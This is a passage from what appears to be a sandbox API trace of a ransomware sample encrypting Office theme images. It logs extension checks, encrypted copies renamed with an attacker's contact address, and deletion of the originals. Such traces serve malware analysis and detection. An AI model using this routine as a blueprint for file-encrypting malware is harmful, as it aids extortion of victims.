Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString=".dbf") returned 4 [0044.760] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString=".1cd") returned 4 [0044.760] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString=".jpg") returned 4 [0044.760] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString=".doc") returned 4 [0044.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.760] lstrlenW (lpString=".docx") returned 5 [0044.760] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.760] lstrlenW (lpString=".pdf") returned 4 [0044.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.760] lstrlenW (lpString=".xls") returned 4 [0044.761] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.761] lstrlenW (lpString=".xlsx") returned 5 [0044.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.761] lstrlenW (lpString=".ppt") returned 4 [0044.761] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.761] lstrlenW (lpString=".zip") returned 4 [0044.761] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.761] lstrlenW (lpString=".rar") returned 4 [0044.761] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.761] lstrlenW (lpString=".bz2") returned 4 [0044.761] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.761] lstrlenW (lpString=".7z") returned 3 [0044.761] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.761] lstrlenW (lpString=".dbf") returned 4 [0044.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.761] lstrlenW (lpString=".1cd") returned 4 [0044.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.761] lstrlenW (lpString=".jpg") returned 4 [0044.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.761] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.761] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.762] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=32607) returned 1 [0044.762] CloseHandle (hObject=0x1e0) returned 1 [0044.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0044.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.762] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.762] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.762] GetLastError () returned 0x0 [0044.762] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0044.928] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0044.929] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.929] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.929] SetEndOfFile (hFile=0x19c) returned 1 [0044.929] CloseHandle (hObject=0x19c) returned 1 [0044.930] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.930] SetEndOfFile (hFile=0x1e0) returned 1 [0044.931] CloseHandle (hObject=0x1e0) returned 1 [0044.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0044.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.931] lstrlenW (lpString=".doc") returned 4 [0044.931] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.931] lstrlenW (lpString=".docx") returned 5 [0044.931] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.931] lstrlenW (lpString=".pdf") returned 4 [0044.931] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.931] lstrlenW (lpString=".xls") returned 4 [0044.931] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.931] lstrlenW (lpString=".xlsx") returned 5 [0044.931] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.931] lstrlenW (lpString=".ppt") returned 4 [0044.931] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.931] lstrlenW (lpString=".zip") returned 4 [0044.932] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.932] lstrlenW (lpString=".rar") returned 4 [0044.932] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.932] lstrlenW (lpString=".bz2") returned 4 [0044.932] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString=".7z") returned 3 [0044.932] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.932] lstrlenW (lpString=".dbf") returned 4 [0044.932] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.932] lstrlenW (lpString=".1cd") returned 4 [0044.932] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.932] lstrlenW (lpString=".jpg") returned 4 [0044.932] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.932] lstrlenW (lpString=".doc") returned 4 [0044.932] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString=".docx") returned 5 [0044.932] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.932] lstrlenW (lpString=".pdf") returned 4 [0044.932] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.932] lstrlenW (lpString=".xls") returned 4 [0044.932] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.932] lstrlenW (lpString=".xlsx") returned 5 [0044.932] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.932] lstrlenW (lpString=".ppt") returned 4 [0044.933] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.933] lstrlenW (lpString=".zip") returned 4 [0044.933] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.933] lstrlenW (lpString=".rar") returned 4 [0044.933] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.933] lstrlenW (lpString=".bz2") returned 4 [0044.933] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.933] lstrlenW (lpString=".7z") returned 3 [0044.933] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.933] lstrlenW (lpString=".dbf") returned 4 [0044.933] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.933] lstrlenW (lpString=".1cd") returned 4 [0044.933] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0044.933] lstrlenW (lpString=".jpg") returned 4 [0044.933] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.933] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.933] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.934] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1287) returned 1 [0044.934] CloseHandle (hObject=0x1e0) returned 1 [0044.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0044.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.934] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.934] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.946] GetLastError () returned 0x0 [0044.946] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x507, lpOverlapped=0x0) returned 1 [0044.948] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x510, lpOverlapped=0x0) returned 1 [0044.949] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.949] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.949] SetEndOfFile (hFile=0x19c) returned 1 [0044.949] CloseHandle (hObject=0x19c) returned 1 [0044.949] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.950] SetEndOfFile (hFile=0x1e0) returned 1 [0044.950] CloseHandle (hObject=0x1e0) returned 1 [0044.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.950] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0044.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.951] lstrlenW (lpString=".doc") returned 4 [0044.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.951] lstrlenW (lpString=".docx") returned 5 [0044.951] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.951] lstrlenW (lpString=".pdf") returned 4 [0044.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.951] lstrlenW (lpString=".xls") returned 4 [0044.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.951] lstrlenW (lpString=".xlsx") returned 5 [0044.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.951] lstrlenW (lpString=".ppt") returned 4 [0044.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.951] lstrlenW (lpString=".zip") returned 4 [0044.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.951] lstrlenW (lpString=".rar") returned 4 [0044.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.951] lstrlenW (lpString=".bz2") returned 4 [0044.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.951] lstrlenW (lpString=".7z") returned 3 [0044.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.951] lstrlenW (lpString=".dbf") returned 4 [0044.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.951] lstrlenW (lpString=".1cd") returned 4 [0044.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.952] lstrlenW (lpString=".jpg") returned 4 [0044.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.952] lstrlenW (lpString=".doc") returned 4 [0044.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.952] lstrlenW (lpString=".docx") returned 5 [0044.952] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.952] lstrlenW (lpString=".pdf") returned 4 [0044.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString=".xls") returned 4 [0044.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString=".xlsx") returned 5 [0044.952] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.952] lstrlenW (lpString=".ppt") returned 4 [0044.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.952] lstrlenW (lpString=".zip") returned 4 [0044.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString=".rar") returned 4 [0044.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.952] lstrlenW (lpString=".bz2") returned 4 [0044.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.952] lstrlenW (lpString=".7z") returned 3 [0044.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.952] lstrlenW (lpString=".dbf") returned 4 [0044.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.953] lstrlenW (lpString=".1cd") returned 4 [0044.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0044.953] lstrlenW (lpString=".jpg") returned 4 [0044.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.953] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.953] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.953] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=28595) returned 1 [0044.953] CloseHandle (hObject=0x1e0) returned 1 [0044.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0044.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.954] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.954] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.954] GetLastError () returned 0x0 [0044.954] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0044.956] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0044.957] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.957] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.958] SetEndOfFile (hFile=0x19c) returned 1 [0044.958] CloseHandle (hObject=0x19c) returned 1 [0044.958] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.958] SetEndOfFile (hFile=0x1e0) returned 1 [0044.959] CloseHandle (hObject=0x1e0) returned 1 [0044.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.959] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0044.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.959] lstrlenW (lpString=".doc") returned 4 [0044.959] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.959] lstrlenW (lpString=".docx") returned 5 [0044.959] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.960] lstrlenW (lpString=".pdf") returned 4 [0044.960] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString=".xls") returned 4 [0044.960] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.960] lstrlenW (lpString=".xlsx") returned 5 [0044.960] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.960] lstrlenW (lpString=".ppt") returned 4 [0044.960] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString=".zip") returned 4 [0044.960] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.960] lstrlenW (lpString=".rar") returned 4 [0044.960] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.960] lstrlenW (lpString=".bz2") returned 4 [0044.960] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString=".7z") returned 3 [0044.960] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 